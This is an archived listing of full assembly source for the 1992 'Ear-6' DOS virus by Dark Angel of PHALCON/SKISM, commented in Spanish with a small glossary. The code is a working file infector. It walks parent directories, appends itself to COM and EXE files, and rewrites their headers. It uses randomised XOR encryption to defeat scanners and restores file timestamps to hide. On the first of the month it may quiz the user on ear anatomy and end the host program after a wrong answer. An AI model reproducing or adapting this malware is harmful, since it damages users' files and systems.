home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / ASM-E.ZIP / EAR.ASM < prev    next >
Assembly Source File  |  1992-08-14  |  17KB  |  477 lines

  1. ; [Ear-6]
  2.  
  3. ; El virus de oreja y oído seis
  4. ; Fue escrito por Dark Angel de PHALCON/SKISM
  5. ; Yo (el ángel oscuro) escribí este programa hace muchas semanas.
  6. ; No deba modificar este programa y da a otras personas COMO SI
  7. ; estará el suyo.
  8.  
  9. ; ¿Dónde está mi llama, mama?
  10.  
  11. ;                       diccionarito
  12. ; español       inglés                   magnitud      size
  13. ; abre          open                     mango         handle
  14. ; aprueba       pass (a test)            máscara       mask
  15. ; atras         back                     mensaje       message
  16. ; azado         random                   mes           month
  17. ; busca         find                     montón        heap
  18. ; cierra        close                    oreja, oído   ear
  19. ; cifra         code, encrypt, decrypt   pila          stack
  20. ; codo          pointer                  pregunta      question
  21. ; corto         terse, short             primer        first
  22. ; empieza       begin                    remendar      patch
  23. ; escriba       write                    renuncia      reject
  24. ; español       inglés                   respuesta     answer
  25. ; fecha         date                     salta         exit
  26. ; ficha         file                     siguiente     following, next
  27. ; índice        table                    suspende      fail (a test)
  28. ; ¿le gusta?    do you like?             termina       end
  29. ; longitud      length                   virus         virus (!)
  30.  
  31. .model tiny
  32. .code
  33. org     100h
  34.  
  35. longitud_del_virus = TerminaVir - EmpezarVir
  36. longitud_del_escribir = offset termina_escribir - offset escribir
  37.  
  38. id = 'GH'                                       ; Representa el líder de
  39.                                                 ; PHALCON/SKISM, Garbageheap
  40. Empezar:  db      0e9h, 0, 0                    ; jmp EmpezarVir
  41.  
  42. EmpezarVir:
  43. shwing:
  44. remendar1:
  45.         mov     bx, offset EmpezarCifra
  46. remendar2:
  47.         mov     cx, ((longitud_del_virus + 1) / 2)
  48. hacia_atras:    ; atrás
  49.         db      2eh
  50. remendar3:
  51.         db      81h, 37h, 0, 0                  ; xor word ptr cs:[bx], 0
  52.         add     bx, 2
  53.         loop    hacia_atras
  54. EmpezarCifra:
  55.  
  56.         call    siguiente                       ; Es estupido, pero es corto
  57. siguiente:
  58.         pop     bp
  59.         sub     bp, offset siguiente
  60.  
  61.         mov     byte ptr [bp+numinf], 0
  62.  
  63.         cld                                     ; No es necessario, pero
  64.                                                 ; ¿por qué no?
  65.         cmp     sp, id
  66.         jz      SoyEXE
  67. SoyCOM: mov     di, 100h
  68.         push    di
  69.         lea     si, [bp+Primer3]
  70.         movsb
  71.         jmp     short SoyNada
  72. SoyEXE: push    ds
  73.         push    es
  74.         push    cs
  75.         push    cs
  76.         pop     ds
  77.         pop     es
  78.  
  79.         lea     di, [bp+EXE_Donde_JMP]  ; el CS:IP original de la ficha
  80.         lea     si, [bp+EXE_Donde_JMP2] ; infectada
  81.         movsw
  82.         movsw
  83.         movsw
  84.  
  85.         jmp     short SoyNada
  86.  
  87. NombreDelVirus  db  0,'[Ear-6]',0               ; En inglés, ¡por supuesto!
  88. NombreDelAutor  db  'Dark Angel',0
  89.  
  90. SoyNada:
  91.         movsw
  92.  
  93.         mov     ah, 1ah                         ; Esindicece un DTA nuevo
  94.         lea     dx, [bp+offset nuevoDTA]        ; porque no quiere destruir
  95.         int     21h                             ; el DTA original
  96.  
  97.         mov     ax, word ptr [bp+remendar1+1]
  98.         mov     word ptr [bp+tempo], ax
  99.  
  100.         mov     ah, 47h                         ; Obtiene el directorio
  101.         xor     dl, dl                          ; presente
  102.         lea     si, [bp+diroriginal]
  103.         int     21h
  104.  
  105. looper:
  106.         lea     dx, [bp+offset mascara1]        ; "máscara", no "mascara"
  107.         call    infectar_mascara                ; pero no es possible usar
  108.                                                 ; acentos en MASM/TASM.
  109.                                                 ; ¡Qué lástima!
  110.                                                 ; mascara1 es '*.EXE',0
  111.         lea     dx, [bp+offset mascara2]        ; mascara2 es '*.COM',0
  112.         call    infectar_mascara                ; infecta las fichas de COM
  113.  
  114.         cmp     byte ptr [bp+numinf], 5         ; ¿Ha infectada cinco fichas?
  115.         jg      saltar                          ; Si es verdad, no necesita
  116.                                                 ; busca más fichas.
  117.         mov     ah, 3bh                         ; Cambia el directorio al
  118.         lea     dx, [bp+puntos]                 ; directorio anterior
  119.         int     21h                             ; ('..', 'punto punto')
  120.         jnc     looper
  121.  
  122. saltar: lea     dx, [bp+backslash]              ; Cambia el directorio al
  123.         mov     ah, 3bh                         ; directorio terminado.
  124.         int     21h
  125.  
  126.         mov     ah, 2ah                         ; Activa el primer de
  127.         int     21h                             ; cada mes
  128.         cmp     dl, 1                           ; Si no es el primer,
  129.         jnz     saltarahora                     ; ¡saltar ahora! (duh-o)
  130.  
  131.         mov     ah, 2ch                         ; ¿Qué hora es?
  132.         int     21h
  133.  
  134.         cmp     dl, 85                          ; 85% probabilidad de
  135.         jg      saltarahora                     ; activación
  136.  
  137.         and     dx, 7                           ; Un número quasi-azado
  138.         shl     dl, 1                           ; Usalo para determinar
  139.         mov     bx, bp                          ; que preguntará la virus
  140.         add     bx, dx
  141.         mov     dx, word ptr [bx+indice]        ; índice para el examencito
  142.         add     dx, bp
  143.         inc     dx
  144.         push    dx                              ; Salva el codo al pregunta
  145.  
  146.         mov     ah, 9                           ; Escriba el primer parte de
  147.         lea     dx, [bp+mensaje]                ; la pregunta
  148.         int     21h
  149.  
  150.         pop     dx                              ; Escriba el parte de la oreja
  151.         int     21h                             ; o el oído
  152.         dec     dx
  153.         push    dx                              ; Salva la respuesta correcta
  154.  
  155.         lea     dx, [bp+secciones]              ; Escriba los secciones de la
  156.         int     21h                             ; oreja y el oído
  157.  
  158. trataotrarespuesta:
  159.         mov     ah, 7                           ; Obtiene la respuesta de la
  160.         int     21h                             ; "víctima"
  161.         cmp     al, '1'                         ; Necesita una respuesta de
  162.         jl      trataotrarespuesta              ; uno hasta tres
  163.         cmp     al, '3'                         ; Renuncia otras respuestas
  164.         jg      trataotrarespuesta
  165.  
  166.         int     29h                             ; Escriba la respuesta
  167.  
  168.         pop     bx                              ; El codo al respuesta
  169.                                                 ; correcta
  170.         mov     ah, 9                           ; Prepara a escribir un
  171.                                                 ; mensaje
  172.         cmp     al, byte ptr [bx]               ; ¿Es correcta?
  173.         jz      saltarapidamente                ; Él aprueba el examencito.
  174.                                                 ; Pues, salta rápidamente.
  175.         lea     dx, [bp+suspendido]             ; Lo siento, pero ¡Ud. no
  176.         int     21h                             ; aprueba el examencito fácil!
  177.  
  178.         mov     ah, 4ch                         ; Estudie más y el programa
  179.         jmp     quite                           ; permitirá a Ud a continuar.
  180.  
  181. saltarapidamente:
  182.         lea     dx, [bp+aprueba]
  183.         int     21h
  184. saltarahora:
  185.         mov     ah, 1ah                         ; Restaura el DTA original
  186.         mov     dx, 80h
  187. quite:
  188.         cmp     sp, id - 4                      ; ¿Es EXE o COM?
  189.         jz      vuelvaEXE
  190. vuelvaCOM:
  191.         int     21h                             ; Restaura el DTA y vuelva
  192.         retn                                    ; a la ficha original de COM
  193.  
  194. vuelvaEXE:
  195.         pop     es
  196.         pop     ds                              ; ds -> PSP
  197.  
  198.         int     21h
  199.  
  200.         mov     ax, es
  201.         add     ax, 10h                         ; Ajusta para el PSP
  202.         add     word ptr cs:[bp+EXE_Donde_JMP+2], ax
  203.         cli
  204.         add     ax, word ptr cs:[bp+PilaOriginal+2]
  205.         mov     ss, ax
  206.         mov     sp, word ptr cs:[bp+PilaOriginal]
  207.         sti
  208.         db      0eah                            ; JMP FAR PTR SEG:OFF
  209. EXE_Donde_JMP dd 0
  210. PilaOriginal  dd 0
  211.  
  212. EXE_Donde_JMP2  dd 0
  213. PilaOriginal2   dd 0
  214.  
  215. infectar_mascara:
  216.         mov     ah, 4eh                         ; Busca la ficha primera
  217.         mov     cx, 7                           ; Cada atributo
  218. brb_brb:
  219.         int     21h
  220.         jc      hasta_la_vista_bebe             ; No la busca
  221.  
  222.         xor     al, al
  223.         call    abrir                           ; Abre la ficha
  224.  
  225.         mov     ah, 3fh
  226.         mov     cx, 1ah
  227.         lea     dx, [bp+buffer]
  228.         int     21h
  229.  
  230.         mov     ah, 3eh                         ; Cierra la ficha
  231.         int     21h
  232.  
  233.         lea     si,[bp+nuevoDTA+15h]            ; Salva cosas sobre la ficha
  234.         lea     di,[bp+f_atrib]                 ; Por ejemplo, la fecha de
  235.         mov     cx, 9                           ; creación
  236.         rep     movsb
  237.  
  238.         cmp     word ptr [bp+buffer], 'ZM'      ; ¿Es EXE o COM?
  239.         jz      buscaEXE
  240. buscaCOM:
  241.         mov     ax, word ptr [bp+f_long]        ; ¿Cuan grande es la ficha?
  242.         sub     ax, longitud_del_virus + 3      ; Adjusta para el JMP
  243.         cmp     ax, word ptr [bp+buffer+1]      ; ¿Ya es infectada?
  244.         jnz     infecta_mi_burro                ; "infect my ass"
  245.         jmp     short BuscaMas
  246. buscaEXE:
  247.         cmp     word ptr [bp+buffer+10h], id
  248.         jnz     infecta_mi_burro
  249. BuscaMas:
  250.         mov     ah, 4fh                         ; Busca otra ficha...
  251.         jmp     short brb_brb
  252. hasta_la_vista_bebe:                            ; ¿Le gusta Arnold?
  253.         ret
  254.  
  255. infecta_mi_burro:
  256.         ; AX = longitud de la ficha infectada
  257.         lea     si, [bp+buffer]
  258.  
  259.         cmp     word ptr [si], 'ZM'
  260.         jz      InfectaEXE
  261. InfectaCOM:
  262.         push    ax
  263.  
  264.         mov     cx, word ptr [bp+tempo]
  265.         mov     word ptr [bp+remendar1+1], cx
  266.  
  267.         lea     di, [bp+Primer3]
  268.         movsb
  269.         push    si
  270.         movsw
  271.  
  272.         mov     byte ptr [bp+buffer], 0e9h
  273.         pop     di
  274.         add     ax, longitud_del_virus
  275.         stosw
  276.  
  277.         mov     cx, 3
  278.         jmp     short   TerminaInfeccion
  279. InfectaEXE:
  280.         les     ax, [si+14h]                    ; Salva el original empieza
  281.         mov     word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada
  282.         mov     word ptr [bp+EXE_Donde_JMP2+2], es
  283.  
  284.         les     ax, [si+0Eh]                    ; Salva la original locación
  285.         mov     word ptr [bp+PilaOriginal2], es ; de la pila
  286.         mov     word ptr [bp+PilaOriginal2+2], ax
  287.  
  288.         mov     ax, word ptr [si + 8]
  289.         mov     cl, 4
  290.         shl     ax, cl
  291.         xchg    ax, bx
  292.  
  293.         les     ax, [bp+offset nuevoDTA+26]
  294.         mov     dx, es
  295.         push    ax
  296.         push    dx
  297.  
  298.         sub     ax, bx
  299.         sbb     dx, 0
  300.  
  301.         mov     cx, 10h
  302.         div     cx
  303.  
  304.         mov     word ptr [si+14h], dx           ; Nuevo empieza CS:IP
  305.         mov     word ptr [si+16h], ax
  306.  
  307.         mov     cl, 4
  308.         shr     dx, cl
  309.         add     ax, dx
  310.         mov     word ptr [si+0Eh], ax           ; y SS:SP
  311.         mov     word ptr [si+10h], id
  312.  
  313.         pop     dx                              ; Restaura el magnitud de
  314.         pop     ax                              ; la ficha
  315.  
  316.         add     ax, longitud_del_virus          ; Añada el magnitud del virus
  317.         adc     dx, 0
  318.         mov     cl, 9
  319.         push    ax
  320.         shr     ax, cl
  321.         ror     dx, cl
  322.         stc
  323.         adc     dx, ax
  324.         pop     ax
  325.         and     ah, 1
  326.  
  327.         mov     word ptr [si+4], dx             ; Nuevo magnitud de la ficha
  328.         mov     word ptr [si+2], ax
  329.  
  330.         push    cs
  331.         pop     es
  332.  
  333.         mov     ax, word ptr [si+14h]
  334.         sub     ax, longitud_del_virus + offset Empezarvir
  335.         push    ax
  336.  
  337.         mov     cx, 1ah
  338. TerminaInfeccion:
  339.         mov     al, 2
  340.         call    abrir
  341.  
  342.         mov     ah, 40h
  343.         lea     dx, [bp+buffer]
  344.         int     21h
  345.  
  346.         mov     ax, 4202h
  347.         xor     cx, cx
  348.         cwd                                     ; xor dx,dx
  349.         int     21h
  350.  
  351.         mov     ah, 2ch                         ; Números azados en CX y DX
  352.         int     21h
  353.         mov     word ptr [bp+remendar3+2], cx   ; Es el nuevo número de la
  354.                                                 ; cifra
  355.         and     cx, 31                          ; Pone un número azado para el
  356.         add     cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha.  Por
  357.                                                 ; eso, los scanners necesitan
  358.         mov     word ptr [bp+remendar2+1], cx   ; usar "wildcards"
  359.         lea     di, [bp+tempstore]
  360.         mov     al, 53h                         ; push bx
  361.         stosb                                   ; (no destruir el mango de la
  362.                                                 ;  ficha)
  363.         lea     si, [bp+shwing]                 ; Copia las instrucciones
  364.         push    si                              ; para formar la cifra
  365.         mov     cx, longitud_de_la_cifra
  366.         push    cx
  367.         rep     movsb
  368.  
  369.         mov     al, 5bh                         ; pop bx
  370.         stosb                                   ; (recuerda mango de la ficha)
  371.  
  372.         lea     si, [bp+escribir]               ; Copia las instrucciones
  373.         mov     cx, longitud_del_escribir       ; para añada el virus a la
  374.         rep     movsb                           ; ficha
  375.  
  376.         mov     al, 53h                         ; push bx
  377.         stosb
  378.  
  379.         pop     cx                              ; Copia las instrucciones
  380.         pop     si                              ; para invalidar la cifra
  381.         rep     movsb
  382.         mov     ax, 0c35bh                      ; pop bx, retn
  383.         stosw
  384.  
  385.         pop     ax
  386.  
  387.         ; Codo del comienzo de la cifra
  388.         add     ax, offset EmpezarCifra + longitud_del_virus
  389.         mov     word ptr [bp+remendar1+1], ax
  390.  
  391.         call    antes_del_tempstore
  392.  
  393.         mov     ax, 5701h                       ; BX = mango de la ficha
  394.         mov     dx, word ptr [bp+f_fecha]
  395.         mov     cx, word ptr [bp+f_hora]
  396.         int     21h                             ; Restaura fecha y hora
  397.  
  398.         mov     ah, 3eh
  399.         int     21h
  400.  
  401.         xor     ch, ch
  402.         mov     cl, byte ptr [bp+f_atrib]
  403.         mov     ax, 4301h
  404.         lea     dx, [bp+offset nuevoDTA + 30]     ; Busca un ficha en el DTA
  405.         int     21h
  406.  
  407.         inc     byte ptr [bp+numinf]
  408.  
  409.         jmp     BuscaMas
  410.  
  411. Primer3  db 0CDh, 20h, 0
  412. puntos   db '..',0
  413. mascara1 db '*.EXE',0
  414. mascara2 db '*.COM',0
  415.  
  416. abrir:  mov     ah, 3dh                         ; Abrir un ficha
  417.         lea     dx, [bp+nuevoDTA+30]            ; Nombre de la ficha es en
  418.         int     21h                             ; el DTA
  419.         xchg    ax, bx
  420.         ret
  421.  
  422. indice  dw      offset oreja1, offset oreja2, offset oreja3, offset oreja4
  423.         dw      offset oreja5, offset oreja6, offset oreja4, offset oreja1
  424. oreja1  db      '1','Auditory Canal$'
  425. oreja2  db      '1','Lobe$'
  426. oreja3  db      '2','Anvil$'
  427. oreja4  db      '2','Eustachian Tube$'
  428. oreja5  db      '3','Auditory Nerve$'
  429. oreja6  db      '3','Cochlea$'
  430.  
  431. mensaje db      'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
  432. secciones db    ' located?',13,10
  433.         db      ' 1. External Ear',13,10
  434.         db      ' 2. Middle Ear',13,10
  435.         db      ' 3. Inner Ear',13,10,'( )',8,8,'$'
  436.  
  437. ; No es bueno.
  438. suspendido db   13,10,'You obviously know nothing about ears.'
  439.         db      13,10,'Try again after some study.',13,10,'$'
  440.  
  441. ; ¡Espero que sí!
  442. aprueba db      13,10,'Wow, you know your ears!  Please resume work.',13,10
  443.         db      '$'
  444.  
  445. escribir:
  446.         mov     ah, 40h
  447.         mov     cx, TerminaVir - EmpezarVir
  448.         lea     dx, [bp+EmpezarVir]
  449.         int     21h
  450. termina_escribir:
  451.  
  452. backslash db '\'
  453.  
  454. TerminaVir = $
  455.  
  456. ; Los que sigue son en el montón...
  457. longitud_de_la_cifra = offset EmpezarCifra - offset shwing
  458.  
  459. diroriginal db 64 dup (?)
  460. tempo       dw ?
  461. nuevoDTA    db 43 dup (?)
  462. numinf      db ?
  463. antes_del_tempstore:
  464. ; tempstore es el buffer para el parte del programa que añada el virus al fin
  465. ; de otro programa
  466. tempstore   db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?)
  467.                                                 ; añada cinco para los pop,
  468.                                                 ; los push, y el retn
  469. buffer      db 1ah dup (?)
  470. f_atrib     db      ?                           ; atributo de la ficha
  471. f_hora      dw      ?                           ; hora de creación
  472. f_fecha     dw      ?                           ; fecha de creación
  473. f_long      dd      ?                           ; magnitud de la ficha
  474.  
  475.         end     Empezar
  476.  
  477.